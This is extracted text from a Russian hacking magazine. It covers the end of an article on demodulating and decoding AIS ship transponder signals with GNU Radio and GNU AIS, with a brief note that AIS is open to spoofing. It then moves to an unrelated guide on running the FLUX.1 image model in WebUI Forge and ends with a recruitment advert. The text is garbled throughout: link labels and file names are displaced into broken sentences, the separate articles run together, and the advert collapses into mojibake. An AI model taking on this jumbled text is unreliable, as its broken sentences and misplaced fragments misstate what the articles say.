Открываем конвертированный файл и  пытаемся найти в  поиске нашу пос‐
ледовательность. Если нашел, значит, Gain Mu и  другие параметры подоб‐
раны верно.

Демодулированные последовательности в файле

Также ты можешь конвертировать значения преамбулы из  стартового флага
в  код NRZI онлайн и  найти их в  RAW-файле, который был создан до  NRZI-
декодирования.

Запускаем
Настало время запустить схему и  изучить вывод. Для  этого нажимаем
на  кнопку запуска в  меню GNU Radio и  наблюдаем водопад и  сам сигнал.
Форму сигнала до  и после демодуляции изучим в  схеме с  квадратурным
демодулятором, так как у нас в данном случае нет полного контроля демоду‐
ляции.

После запуска должна появиться следующая картинка и файлы с нашими
данными.

Водопад в схеме с GMSK Demod

Важно уточнить, что в этой схеме нет блока Throttle, который замедляет обра‐
ботку. Без него сигнал обработается намного быстрее того времени, которое
он должен был бы идти, так что водопад может оборваться быстрее, чем ты
ожидаешь. Чтобы это исправить, добавь блок Throttle после File Source. Схе‐
ма в данном случае уже отлажена, и мы можем изучить вывод файла, как это
было показано в примере с отладкой.

Ты можешь попробовать расшифровать любой фрейм по описанию выше.
Но  для простой проверки можно использовать тип передаваемого сигнала,
это первые 6 бит после стартового флага. Дальнейшее декодирование воз‐
можно только после удаления bit stuffing, а  именно одного нуля после пяти
единиц.

Нужно убирать нули до последовательности конца сигнала (она выглядит
как стартовый сигнал). Пример удаления bit stuffing показан ниже.

Исходный сигнал:

010101010101010101010101011111100010000110001110001010101110100101000
00100000100000001111000000010111111011010101111110


Преамбула:

010101010101010101010101


Стартовый флаг:

01111110


Данные и хеш‑сумма:

001100000000010111001000111101101000111100000010000000000000111010111
11[0]11000010011110101011100001010111001000010011011111[0]10100101101
1000001000101100000011100010010110000011100110101100


Флаг окончания сообщения:

01111110


Выделим нули, вставленные с помощью bit stuffing:

001100000000010111001000111101101000111100000010000000000000111010111
11[0]11000010011110101011100001010111001000010011011111[0]10100101101
1000001000101100000011100010010110000011100110101100


Убираем их:

001100000000010111001000111101101000111100000010000000000000111010111
111100001001111010101110000101011100100001001101111110100101101100000
1000101100000011100010010110000011100110101100


В конечном счете получаем битовые данные без bit stuffing, готовые к декоди‐
рованию. Не  забываем про  LSB и  MSB: конвертируем только первый байт
в  LSB, чтобы получить тип сообщения. Узнаем тип сообщения, то есть пер‐
вые 6 бит:

00110000 -> [000011]00


При переводе  000011  в  десятичную систему получаем  3, то есть тип сооб‐
щения 3, а это передача позиции судна.

Схема для Quadrature Demod
Схема с  GMSK Demod имеет неприятную особенность: в  ней нет полного
контроля над демодуляцией. Так как это цельный блок, мы не можем отдель‐
но настроить синхронизацию символов и демодуляцию. Чтобы исправить это,
можно перейти к более низкоуровневым блокам: Quadrature Demod и Symbol
Sync. Оба этих блока — часть GMSK Demod, но их использование позволит
нам более детально изучить процесс демодуляции.

Разберем следующую схему.

Схема с Quadrature Demod

Схема создана только для  одного канала, начало соответствует GMSK
Demod, КИХ‑фильтр и  ресемплер настроены соответствующим образом.
Схема выглядит иначе, начиная с блока Quadrature Demod, который отвечает
непосредственно за квадратурную демодуляцию.

Благодаря полному контролю над демодуляцией с помощью блоков Time
Sink мы можем изучать, как выглядит сигнал после демодуляции и как он выг‐
лядит после синхронизации символов. Для этого необходимо включить в нас‐
тройках Time Sink панель управления, чтобы можно было изменять харак‐
теристики блока прямо во  время его работы. Рассмотрим сигнал после
демодуляции в блоке Quadrature Demod.

Сигнал после блока Quadrature Demod

Как видно, после демодуляции сигнал становится похожим на  что‑то чита‐
емое и  декодируемое. Для  более точной демодуляции необходимо синхро‐
низировать начало и конец битов, для этого используется блок Symbol Sync.
Давай глянем его вывод.

Сигнал после Symbol Sync

У сигнала после синхронизации другой вид, так как количество выборов было
уменьшено с  4  до  1, но  со своей задачей блок справился. Теперь символы
синхронизированы по  времени и  можно передавать вывод в  блок Binary
Slicer, который, используя специальные алгоритмы, превратит этот сигнал
в битовую последовательность и сохранит в файл.

Методы отладки
Эту схему отладить тяжелее, чем с  GMSK Demod, так как  в ней больше
параметров. Основной принцип отладки  — изменение Gain у  Quadrature
Demod и  изменение алгоритмов Symbol Sync. Это  позволит нам получить
правильную синхронизацию.

Запуск
После запуска получаем файл , который конвертируем в текстовый
и методом из GMSK Demod проверяем, есть ли там преамбулы со стартовым
флагом.

88_quadra

GNU AIS
Так как  декодировать руками биты  — сложная задача, перейдем к  прог‐
раммам, которые могут сделать это за нас. GNU AIS — это свободный софт,
который позволяет декодировать двухканальный AIS-сигнал из  файлов
или  напрямую из  источников. Но  прежде чем использовать эту программу,
необходимо конвертировать наш файл RAW IQ.

Преобразование формата
Для преобразования формата я нашел схему для  GNU Radio. В  ней нужно
будет пересчитать ресемплеры, ты можешь сделать это по аналогии с GMSK
Demod. Автор схемы конвертации — .Александру Чете

Схема конвертации IQ-файла в формат, пригодный для GNU AIS

В работу схемы вдаваться нет смысла, так как все блоки и принципы мы уже
изучили. После запуска сохраняем файл  и  переходим к  установке

GNU AIS.

aisfifo

Установка
GNU AIS  — старый опенсорсный проект, который не  собирается на  новых
устройствах. Чтобы исправить эту проблему, нужно немного изменить
исходный код, но для начала подготовим все необходимое.

Первое, что нужно сделать, — клонировать GNU AIS и установить MySQL.
Установку MySQL я описывать не  буду, так как  для этого есть куча гайдов.
Остановимся на GNU AIS.

git clone https://github.com/rubund/gnuais

cd gnuais/


Перед сборкой нужно немного исправить код, а  конкретно файл 

, в котором нужно заменить вот этот код:

./src/
out_mysql.h

  struct mysql_state_t {

вот этим:

   extern struct mysql_state_t {

Теперь можно переходить непосредственно к сборке проекта.

apt install build-essential libasound-dev libcurl4-openssl-dev 
libmysqlclient-dev cmake pkg-config

cmake .
make


Как настроить базу данных, описано в  . Также необходимо

будет указать логин и пароль для базы данных в файле . После
сборки появится файл , который, собственно, нам и нужен.

create_table.txt
gnuais.conf

./src/gnuais

Декодирование AIS
Копируем файл  куда‑нибудь, где он будет доступен GNU AIS,

и запускаем следующей командой:

aisfifo

./src/gnuais -c ./gnuais.conf -l /root/aisfifo


Далее получаем детальный вывод фреймов, которые удалось успешно
декодировать, например:

ch B type 3 mmsi 671407100: lat 25.267278 lon 55.297437 course 161 
speed 0.7 rateofturn 64 navstat 1 heading 54 (!AIVDM,1,1,,A,3:
0CKw50073u8Jt>MD;nBie40lLJ,0*60)


Как видно, GNU AIS автоматически преобразовал его в формат NMEA.

БЕЗОПАСНОСТЬ

После полного изучения приема AIS можно сделать несколько выводов о его
безопасности. Понятно, что протокол не  подразумевает какого‑либо шиф‐
рования или  подтверждения источника, а  это делает его уязвимым для  спу‐
финга и  других похожих атак. Так как  это очень серьезная проблема,
в  нулевых был разработан протокол TESLA, который позволяет шифровать
сообщения, идущие друг за  другом, но  из‑за своей непрактичности он
не нашел широкого применения. Военные же выделили себе и своим кораб‐
лям отдельный канал AIS, который уже полностью зашифрован.

Наземным станциям остается только статистический анализ переда‐
ваемых данных. Например, если судно всегда имело определенный курс,
а потом данные начали показывать, что оно идет совсем в другом направле‐
нии, эти данные нужно перепроверять, так как  пираты тоже могут исполь‐
зовать AIS и мешать работе системы.

В целом система очень старая, и  накопилось приличное количество
методов для анализа трафика, но даже сейчас, в мире, где есть ИИ и другие
инструменты для анализа, корабли могут изменить настройки своих передат‐
чиков и плавать совсем не там, где сообщают. Все эти атаки я разберу в сле‐
дующей статье, как и передачу своего сигнала AIS.

http://oz9aec.net/
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Когда в  августе этого года вышла модель
FLUX.1 [dev], некоторые пользователи были
разочарованы излишне «цифровым» видом
изображений, отсутствие негативных клю‐
чевых слов накладывало серьезные огра‐
ничения на потенциал модели, а повышен‐
ные требования к  железу огорчили вла‐
дельцев видеокарт предыдущих поколений.
Эти и  многие другие ограничения были
успешно преодолены  — но  появились
новые.

ПОДДЕРЖКА FLUX В WEBUI FORGE

WebUI Forge  — интерфейс к  Stable Diffusion, любимый многими за  его
высокую скорость и  удобство использования. Первая версия Forge вышла
в  феврале  2024  года, после чего много месяцев не  получала обновлений.
Длительное отсутствие разработки привело к  созданию форка ReForge,
который подробно описан в  статье «

». Но вот оригинальный разработчик Forge вернулся —
и   крупное обновление проекта. В списке изменений — переход
на Gradio 4 (стало немного удобнее, но ряд расширений перестал работать),
использование последней версии PyTorch (стало еще  быстрее), появление
двух сотен встроенных стилей по  примеру Fooocus того же автора (под‐
робнее — в ) и новый механизм распределения видеопа‐
мяти, позволяющий достичь максимально возможной скорости генерации
на конкретном железе.

ReForge. Улучшаем картинки, генери‐
руемые Stable Diffusion

анонсировал

моей статье о нем

Нас же интересует добавление в  WebUI Forge поддержки модели FLUX.
Теперь можно использовать все возможные варианты модели от  полноцен‐
ной  16-битной до  4-битной NF4. Более того, можно отдельно выбирать VAE
и модель (или сразу несколько моделей) текстового декодера.

Как это  работает? Почти точно так же, как  любая другая базовая модель,
за исключением нового параметра Flux Distilled Guidance (в comfy/SwarmUI он
называется Flux Guidance Scale), о  котором будет чуть ниже. Достаточно
переключить интерфейс в  режим flux, выбрать модель из  списка и  указать
требуемые VAE и текстовые декодеры.

NF4, FP16, FP8, Q8, GGUF: В ЧЕМ РАЗНИЦА?

Если ты будешь пользоваться Flux, то сильно облегчишь себе жизнь, если
запомнишь, в чем разница между различными представлениями модели.

NF4 — это самый быстрый формат в плане скорости вывода результатов,
но  и самый непредсказуемый в  плане разнообразия композиции по  срав‐
нению с другими форматами.

GGUF  — сжатый формат, в  котором может быть представлена модель.
В отличие от формата safetensors, файл GGUF может содержать только одну
сеть (диффузионную или  текстовый декодер). В  рамках формата GGUF все
версии Q8, Q6  и  так далее вплоть до  Q1  — это  варианты квантования
моделей в порядке убывания качества и требований к железу. GGUF — самый
медленный формат: при  его использовании в  режиме реального времени
прямо во  время генерации производится распаковка частей модели. Зато
качество таких моделей максимально приближается к результатам форматов
FP8 и FP16. GGUF совместим со всеми видеокартами, включая GTX, а млад‐
шие варианты можно запускать даже на видеокартах с минимумом памяти.

FP8 — вариант с несжатым 8-битным представлением. При этом аппарат‐
ное ускорение вычислений в формате FP8 поддерживается только на картах
Nvidia, начиная с  40-й серии, из‑за чего модель в  FP8  будет генерировать
картинку дольше, чем полная модель FP16 (разумеется, при условии, что обе
модели полностью уместились в  видеопамять  — что в  случае с  FP16  воз‐
можно лишь на  топовых видеокартах). Если же объема видеопамяти недос‐
таточно, чтобы в  него полностью поместилась модель FP16, то FP8  создаст
картинку быстрее.

Парадоксальным образом для видеокарт семейства RTX самым быстрым
с  вычислительной точки зрения форматом является FP16, а  для старых
моделей GTX  — и  вовсе FP32, который, разумеется, никоим образом
не помещается в память этих моделей (размер модели Flux в представлении
FP32 — около 46 Гбайт).

По скорости и точности работы модели соотносятся :следующим образом

Критерий Ранжирование

Точность FP16 >> Q8 > Q4

Точность для Q8
Q8_K (модель отсутствует) > Q8_1
(модель отсутствует) > Q8_0 >> FP8

Точность для Q4 Q4K_S >> Q4_1 > Q4_0

Точность для NF4
NF4  между Q4_1  и  Q4_0 (плюс/минус
из‑за различия метрик)

Скорость (без выгрузки,
для  видеокарт от  24  Гбайт
VRAM)

FP16 ≈ NF4 > FP8 >> Q8 > Q4_0 >>
Q4_1 > Q4K_S > прочие

Скорость (с выгрузкой,
для  видеокарт с  8–16  Гбайт
VRAM)

NF4 > Q4_0 > Q4_1 ≈ FP8 > Q4K_S >
Q8_0 > Q8_1 > прочие ≈ FP16

ШПАРГАЛКА: КАКИЕ ФАЙЛЫ КАЧАТЬ

Пожалуй, лучшим соотношением качества, скорости и  совместимости обла‐
дают модели в  представлении FP8  и  формате safetensors. Модели
Q8_0  в  представлении GGUF поддерживаются пока не  везде. Если оста‐
новить свой выбор на представлении fp8/safetensors, нам понадобятся:
1. Диффузионная модель.  нужно положить в папку, в которой лежат все

остальные базовые модели (например, ).
В этой версии модели текстовые декодеры и VAE уже встроены, поэтому
ничего дополнительного качать не требуется. Для использования модели
достаточно будет выбрать ее из  списка. Если же ты хочешь заполучить
одну из моделей с альтернативным квантованием (например, Q8_0, качес‐
тво которой практически неотличимо от полной версии FP16), то тебе при‐
дется скачать целых четыре файла, разложив их по трем разным папкам.

Файл
models/Stable-Diffusion

2.  (рекомендую вариант Q8_0) с сайта Huggingface.
Нужно переместить в  папку, в  которой лежат все остальные базовые
модели (например, models/Stable-Diffusion).

Модель в формате GGUF

3. Пара  (рекомендую версию FP8) и CLIP_L. Нуж‐
но положить в папку .

текстовых декодеров T5XXL
models/text_encoder

4. VAE:  с  сайта разработчиков. Положить в  папку
.

файл ae.safetensors
models/VAE

После запуска WebUI Forge нужно переключить веб‑интерфейс в режим Flux
и выбрать из списка модель. Если выбранная тобой модель — файл flux1-dev-
fp8.safetensors, то после этого можно сразу запускать генерацию. Если же
выбран файл в  формате GGUF, то в  дополнительном поле придется указать
пару текстовых декодеров и  VAE. В  результате верхняя часть интерфейса
обретет примерно такой вид, как на скриншоте ниже.

Теперь можно настроить разрешение картинки, установить число шагов,
Distilled Guidance Scale (рекомендую начать со  значения  2)  — и  можно
генерировать картинки.

Даже если ты предпочтешь простой путь (интегрированный файл модели
flux1-dev-fp8.safetensors), в  будущем, вероятно, тебе все же придется
научиться пользоваться отдельными текстовыми декодерами и  VAE: из‑за
существенно возросшего по  сравнению с  SDXL объема декодеров авторы
новых моделей стали публиковать как интегрированные варианты, так и диф‐
фузионные модели отдельно. Подключать диффузионные модели и декодеры
по отдельности не только удобно с точки зрения оптимизации использования
видеопамяти, но и существенно экономит место на диске.
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(обсуждение на GitHub)
Как загрузить полную версию Flux в WebUI Forge

ЗАПУСКАЕМ FLUX НА СТАРЫХ ВИДЕОКАРТАХ

В статье « »
подробно описан штатный сценарий использования модели, для  которого
нужно загрузить исходные 16-битные веса, отдельный VAE и файлы текстовых
декодеров (которые, впрочем, загружаются автоматически). Полная модель
тяжеловата для обычных видеокарт; ограничением выступает объем видеопа‐
мяти. Лучше всего себя чувствуют владельцы видеокарт с 16 и более гигабай‐
тами видеопамяти; с  некоторым трудом полная модель была втиснута и  в
рамки  12-гигабайтных моделей. Однако на  руках у  пользователей огромное
число видеокарт с 6 и 8 Гбайт видеопамяти, и здесь оптимизации бессильны.

FLUX.1 и SwarmUI. Генерируем картинки новой открытой моделью

Первый вариант решения — конвертация модели в формат FP8. Чекпой‐
нты dev или schnell в восьмибитном представлении на выбор можно скачать
с сайта разработчика comfy: , .Dev Schnell

Восьмибитные версии модели подходят для  видеокарт с  12  Гбайт виде‐
опамяти и менее; скорость работы на картах с 8 Гбайт видеопамяти довольно
низкая, но  по крайней мере модель запускается. Качество по  сравнению
с  16-битными моделями страдает незначительно, так как  8-битная кван‐
тизация относится не  к качеству финального изображения в  формате PNG
или  JPEG, а  к точности предсказаний (то есть  8-битная модель может
демонстрировать огрехи при  генерации мелких деталей, но  характерных
для 8-битных растровых картинок артефактов ты, разумеется, не увидишь).

Эти модели нужно поместить в  основную папку, в  которой лежат все
базовые модели. В  случае SwarmUI это  папка ,

WebUI Forge  — . Отдельный VAE для  этих версий

скачивать не нужно.

Models/StableDiffusion
models/Stable-diffusion

Разработчик WebUI Forge пошел еще  дальше, сделав модель пригодной
для использования даже на очень старых видеокартах благодаря новой тех‐
нологии квантизации NF4. По  утверждениям разработчика, этот метод поз‐
воляет значительно повысить производительность на  устройствах с  огра‐
ниченным объемом видеопамяти (6, 8, 12  Гбайт VRAM), обеспечивая уско‐
рение от 1,3 до 4 раз по сравнению с использованием формата FP8.

WWW

Flux.1-Dev v2 BNB NF4

Сильная сторона NF4  — скорость: модели в  этом формате работают зна‐
чительно быстрее, чем FP8, особенно на  видеокартах с  меньшим объемом
памяти и  картах, не  поддерживающих ускорение для  формата FP8. Кроме
того, размер модели в формате NF4 примерно вдвое меньше по сравнению
с FP8.

По словам разработчика, NF4  превосходит FP8  в  точности вычислений
и  обладает лучшим динамическим диапазоном: в  отличие от  FP8, к  которой
все коэффициенты представлены с восьмибитной дискретизацией, NF4 поз‐
воляет преобразовывать тензоры в  комбинацию форматов float32, float16,
uint8 и int4, что обеспечивает повышенную точность вычислений. Пользовате‐
ли Reddit выложили достаточное количество сравнений, чтобы сделать вывод,
что в реальности ситуация с NF4/FP8 далека от однозначной; в каких‑то слу‐
чаях лучше показывает себя один вариант, в каких‑то — другой. Одно несом‐
ненно: 4-битная модель действительно работает намного быстрее, если
запускать ее на карте с 6 или 8 Гбайт видеопамяти.

Модели NF4  поддерживаются как  в новой версии WebUI Forge, так и  в
SwarmUI ( ).коммит cdbe239

На этом прогресс не  остановился, и  появились модели  — как  диффузи‐
онная, так и  текстового декодера, представленные в  сжатом виде с  умень‐
шенной разрядностью.

Терминология: текстовые декодеры и квантизация моделей
Текстовый декодер  — субмодель, которая часто (в случае SD 1.5  и  SDXL  —
всегда) включается в  файл основной модели. Используется для  преобра‐
зования текстового запроса в токены (многомерные числовые векторы, ука‐
зывающие направление в  латентном пространстве), необходимые
для  генерации изображений. Модели ИИ не  распознают вводимые запросы
напрямую, они понимают только токены.

Модели и текстовые декодеры

 только CLIP-L. В состав моделей входят также U-Net и VAE.• SD 1.5:

 CLIP-L и CLIP-bigG. Эти декодеры входят в состав файла модели.• SDXL:

 может работать с CLIP-L, CLIP-bigG и T5XXL, но T5XXL можно и не
использовать, что снижает точность следования запросу.

• SD 3:

 CLIP-L и T5XXL. Изначально модель была доступна в виде отдельных

файлов диффузионной модели, текстового декодера и  VAE, которые,
в свою очередь, могут квантоваться разными способами (об этом ниже).
В дальнейшем появились интегрированные модели, а еще чуть позже раз‐
работчики стали возвращаться к  практике публикации отдельных суб‐
моделей: размер декодеров Flux очень большой, вариантов квантования
больше одного, форматов сжатия — тоже, и пользователям предлагается
самостоятельно собрать себе полную модель из  компонентов, которые
поддерживаются на конкретном железе.

• Flux:

Квантование текстовых декодеров T5XXL
Изначально были доступны два варианта этого декодера: FP16 и FP8.

T5XXL-fp16 точнее, но требует больше видеопамяти.•
T5XXL-fp8 менее точен, но менее требователен к оборудованию.•

Со временем появились , квантованные другими способами. Раз‐
ницу между вариантами квантования декодера можно посмотреть в 

 или в  на Reddit.

варианты
фотоаль‐

боме обсуждении
 текстовый декодер T5  в  версии XXL

используется как  в Stable Diffusion 3 (опционально), так и  в моделях Flux.
А разработан этот декодер компанией Google.

Информация к  размышлению:

Квантование диффузионных моделей
Вариантов квантования диффузионных моделей Flux тоже . Самые
точные 32-битные модели (FP32) полезны только для обучения; использовать
их для  генерации изображений  — избыточно. Максимально доступная
для  локального использования модель Flux  — 16-битная; результат работы
сжатой модели с  квантованием Q8_0  практически невозможно отличить
от оригинала, а видеопамяти она требует меньше. Еще меньше видеопамяти
потребляет модель FP8; дальнейшее уменьшение разрядности моделей все
сильнее влияет на качество.

множество

 формат, отличный от привычного safetensors. В нем сох‐

раняют квантованные диффузные модели; текстовые декодеры и  VAE нужно
подключать отдельно. Сейчас для  Flux доступны все варианты от  16-битной
до 2-битной Q2_K включительно.

Модели GGUF:

Таким образом, в нашем распоряжении уже почти полтора десятка вари‐
антов квантования диффузионной модели и столько же — декодера T5XXL.

 если железо позволяет, используй оригинальную 16-
битную модель Flux с  сайта разработчиков. Для  более слабого железа
отлично подходит модель Q8_0; разницы с полной моделью ты, скорее всего,
не  заметишь. Для  еще более слабого железа подойдет вариант FP8,
у  которого еще  ниже требования к  видеопамяти. Модели с  более сильным
сжатием заметно влияют на  результат, не  особенно снижая требования
к  железу (не забываем, что текстовый декодер все равно будет занимать
заметную часть видеопамяти).

В сухом остатке:

Пользователь Huggingface с ником city96 сконвертировал модель Flux в 
 во всех возможных вариантах.

пред‐
ставление GGUF

Скачать сжатую диффузионную модель можно ; рекомендую
версию Q8_0. Сравнение качества —  .

с Huggingface
на Reddit

Кроме того, можно  и  сжатую версию текстового декодера (при
использовании WebUI Forge класть в папку models/text-encovers).

скачать

WARNING

На момент написания статьи WebUI Forge под‐
держивает диффузионные модели в  представ‐
лении GGUF, но  текстовые декодеры в  GGUF
не распознает. Вероятно, их поддержка появится
в ближайшие дни; до тех пор можно использовать
декодер T5  в  представлении FP8. Поддержка
GGUF появилась в  CombyUI и  SwarmUI совсем
недавно; декодеры в этом формате нужно класть
в папку SwarmUI/Models/clip, после чего декодер
появится в  виде доступной опции на  вкладке
Advanced Model Addons.

Что ж, с  требованиями к  видеопамяти и  запуском модели в  WebUI Forge
разобрались; перейдем к решению других проблем модели Flux.

РЕШЕТКА НА ПЛАВНЫХ ГРАДИЕНТАХ

В некоторых (далеко не  во всех) генерируемых изображениях, особенно
в  максимальном разрешении модели, в  области плавных переходов и  гра‐
диентов Flux может создавать своеобразную «решетку», которая выглядит,
как  блочные артефакты компрессии наподобие JPEG. Однако это  не
они  —  хотя как  знать; возможно, подобные артефакты присутствовали
на изображениях, на которых обучали модель.

Более вероятна версия, что мы наблюдаем так называемые patch embed
artifacts. Генеративные модели ИИ типа DiT в  силу своей архитектуры могут
демонстрировать искажения (артефакты), возникающие при  обработке пат‐
чей изображения. Это  означает, что даже при  правильной настройке и  обу‐
чении модели такие артефакты могут быть неизбежными и требуют специаль‐
ных методов для их минимизации или исправления.

Патчи
В контексте генеративных моделей ИИ изображения делятся на  небольшие
участки (патчи), которые затем проходят через процесс встраивания
(embedding). Артефакты могут быть визуальными или  числовыми искажени‐
ями или  особенностями, возникающими из‑за этого процесса. Например,
артефакты могут проявляться как  границы между патчами, что и  приводит
к наблюдаемому визуальному эффекту.

В рамках самой модели безболезненного способа исправить артефакты пока
не найдено; включение опции Refiner Do Tiling в настройках второго прохода
или  апскейла хоть и  помогает избавиться от  этих артефактов, но, как  и ука‐
зано в описании‑подсказке к этой опции, привносит другие.

Проблему можно попытаться обойти, снизив выходное разрешение картинки
до  1К, а  потом воспользоваться апскейлом. Если же хочется применять
модель в  ее максимальном разрешении, то единственный найденный
на  сегодня способ  — использовать для  апскейла какую‑нибудь хорошую
модель SDXL. Помимо избавления от  блочных артефактов, использование
такой модели для апскейла способно повысить качество и детализацию мел‐
ких текстур; сам процесс апскейла работает при  этом быстрее, чем если
повышать разрешение самой моделью Flux.

Недостатки у этого способа тоже есть. Немного (или сильно, в зависимос‐
ти от  значения параметра Refiner Control Percentage) меняются детали ком‐
позиции (например, могут пострадать пальцы рук). Еще  раз напомню, что
при использовании для апскейла модели SDXL необходимо включить опцию
Refiner CFG Scale, установив значение от  5  до  7 (стандарт для  моделей
SDXL). И  не забудь включить основной переключатель справа от  надписи
Refine/Upscale.

Продолжение статьи
→
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ФИШКИ FLUX.1
ДОБИВАЕМСЯ ЛУЧШИХ КАРТИНОК

ОТ НОВОЙ ГЕНЕРАТИВНОЙ
МОДЕЛИ

GEEK 
НАЧАЛО СТАТЬИ←

ГЕНЕРИРУЕМ КАРТИНКИ В РАЗРЕШЕНИИ 2К

У модели FLUX.1 [dev] «родное» разрешение  — 2К. То есть «квадратом
по  умолчанию» является не  1024 ✕ 1024, а  1440 ✕ 1440 (со всеми про‐
изводными  — при  использовании соотношения сторон, отличного от  1:1).
SwarmUI об  этом не  знает, но  метаданные модели легко отредактировать
вручную на  вкладке Models, после чего все соотношения сторон автомати‐
чески будут пересчитываться исходя из указанного разрешения.

INFO

Если ты отредактируешь метаданные модели
вручную, то в  настройках апскейла стоит ука‐
зывать повышение разрешения
в 1,4 или 1,5 раза, а не вдвое.

ДЕЛАЕМ КАДРЫ ИЗ ФИЛЬМОВ: 16:9

Flux поддерживает генерацию кадров с  соотношением сторон  16:9  и  раз‐
решением  1920 ✕ 1080  непосредственно, без  апскейла. При  выборе этого
разрешения композиция кадра может меняться в сторону некоторой кинош‐
ности; возможно, в  таком соотношении сторон в  обучающей базе модели
присутствовали скриншоты из фильмов.

НЕГАТИВНЫЕ КЛЮЧЕВЫЕ СЛОВА

Одним из серьезных ограничений Flux стало отсутствие поддержки негатив‐
ных ключевых слов. Это  связано с  рекомендацией разработчиков исполь‐
зовать параметр CFG в значении 1. С этим значением негативные ключевые
слова не работают ни в одной модели, включая Flux.

Как работают негативные ключевые слова
При использовании параметра CFG, отличного от  единицы, модель генери‐
рует предсказания дважды — один раз на основе cond prompt (основной зап‐
рос) и  один раз на  основе uncond prompt (может содержать как  негативные
ключевые слова, так и  просто шум или  пустой запрос). Параметр CFG
управляет тем, насколько сильно учитывать cond prompt по  сравнению
с uncond prompt; разница между этими двумя предсказаниями увеличивается
в  зависимости от  величины CFG scale. Если CFG = 1, то uncond просто
не генерируется, что вдвое сокращает время генерации.

Итак, разработчики FLUX.1 [dev] рекомендуют всегда использовать CFG рав‐
ный единице, что, с  одной стороны, является «родной» конфигурацией
модели и  сокращает время генерации (напомним, модель  — тяжелая,
генерация довольно медленная), а  с другой  — не  позволяет использовать
негативные ключевые слова.

Спустя короткое время пользователи нашли сразу несколько способов
обойти это ограничение, но работать они будут только в версии [dev]; «дис‐
тиллированная» версия schnell поддержки негативных ключевых слов
не получила.

Способ 1: Flux Guidance Scale
Устанавливаем CFG = 1,8, Flux Guidance Scale = 2,3, и негативные ключевые
слова начинают работать. Обратная сторона медали: генерация происходит
вдвое медленнее, зато в качестве дополнительного бонуса модель становит‐
ся гораздо более отзывчивой к токенам, описывающим стилизацию картинки.

Способ 2: Dynamic Thresholding
Дальнейшее повышение параметра CFG неизбежно приводит к «выгоранию»
картинки, однако бороться с  «выгоранием» вследствие высоких значений
CFG разработчики давно научились, используя динамическое масштабиро‐
вание.

Пример «выгоревшей» картинки с CFG = 2 и дефолтным Flux Distilled
Guidance = 3.5

Так что можно просто увеличить параметр CFG, указав, например, зна‐
чение  4, и  использовать встроенный инструмент Dynamic Thresholding
(DynamicCFG), для  которого нужно точно подобрать параметры. Недостатки
те же; дополнительно страдает реалистичность (лечится уменьшением Flux
Guidance Scale из первого варианта решения), а в некоторых изображениях
замечено падение качества картинки (которое компенсируется вторым про‐
ходом или  апскейлом). Рекомендую начать с  настроек, как  на скриншоте
ниже.

Пользователи comfy могут  готовый воркфлоу с сайта Сivitai.скачать

Способ 3: Perp-Neg
Пользователь Reddit предлагает такое , использующее ноду Perp-
Neg (perpendicular component of the negative prompt) в ComfyUI. К сожалению,
простого способа включить эту ноду в SwarmUI я не нашел, но пользователям
Comfy она доступна.

решение

РАСКРЫВАЕМ КРЕАТИВНОСТЬ МОДЕЛИ

Пользователи сразу обратили внимание, что из  модели убрали поддержку
множества стилей и имен художников. Однако недавно в SwarmUI был добав‐
лен параметр Flux Guidance Scale (он же Flux Distilled Guidance) из  вкладки
Sampling. Манипуляции им помогают добиться большей креативности
модели. Этот параметр работает не так же, как CFG, который остается в зна‐
чении 1.

Вероятно, разработчики модели обучили ее, как должны выглядеть изоб‐
ражения при  тех или  иных значениях CFG, что и  регулируется данным
параметром. Значение Flux Guidance Scale по умолчанию — 3,5. Уменьшение
этого значения поможет добиться большей креативности и  не приведет
к  блеклости создаваемых изображений, как  это было  бы в  случае сильного
понижения параметра CFG.

Значение параметра Flux Distilled Guidance трудно переоценить; оно имеет
сильное влияние на  стиль и  «артистичность» изображения. Этот параметр
может принимать значения как  меньшие единицы, так и  заметно большие,
однако с  практической точки зрения интерес представляют, вероятно, зна‐
чения из  диапазона  0,5–4 (значение по  умолчанию – 3,5). С  ростом Flux
Distilled Guidance рисованная картинка постепенно упрощается, пропадают
карандашные штрихи, мазки краски, исчезает текстура бумаги. Когда зна‐
чение Flux Distilled Guidance добирается до дефолтных 3,5, рисунок приобре‐
тает практически полностью «цифровой» вид.

Flux Guidance можно комбинировать со значениями основного CFG, отличны‐
ми от единицы, однако здесь нужно быть осторожным: если CFG больше еди‐
ницы, то шкала возможных значений Flux Guidance будет еще уже, и в дефол‐
тном значении 3,5 картинка «выгорает».

Проиллюстрирую вышесказанное двумя галереями, в которых неизменны
все параметры генерации, за исключением Flux Guidance. В первой галерее
значение CFG = 1, во второй CFG = 2.

Я сгенерировал два набора изображений, попытавшись добиться сти‐
лизации под акварельный рисунок. Цель — примерно такая картинка.

С параметрами по умолчанию (CFG = 1, Flux Distilled Guidance = 3,5) рисунок,
как  и ожидалось, имеет «цифровой» вид; установка Flux Distilled Guidance =
1  дает довольно невнятный результат, зато другие значения, включая зна‐
чения меньше единицы, выдали вполне убедительную стилизацию.

CFG=1

CFG=2

ВЫВОДЫ

Flux на момент публикации статьи все еще обласкан вниманием сообщества.
Некоторые заложенные в модель ограничения уже научились обходить; ока‐
залось, что модель вполне поддается обучению. Уже появились первые лоры
и ремиксы (пока более интересные, чем полезные, как это обычно и бывает
с  новыми архитектурами). Поддержка Flux в  интерфейсе WebUI Forge и  воз‐
можность запуска модели на  старых видеокартах благодаря появлению
менее требовательных к  железу сжатых версий, несомненно, добавят ей
популярности.

https://civitai.com/models/625042/efficient-flux-w-negative-prompt
https://www.reddit.com/r/FluxAI/comments/1ekuoiw/alternate_negative_prompt_workflow/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

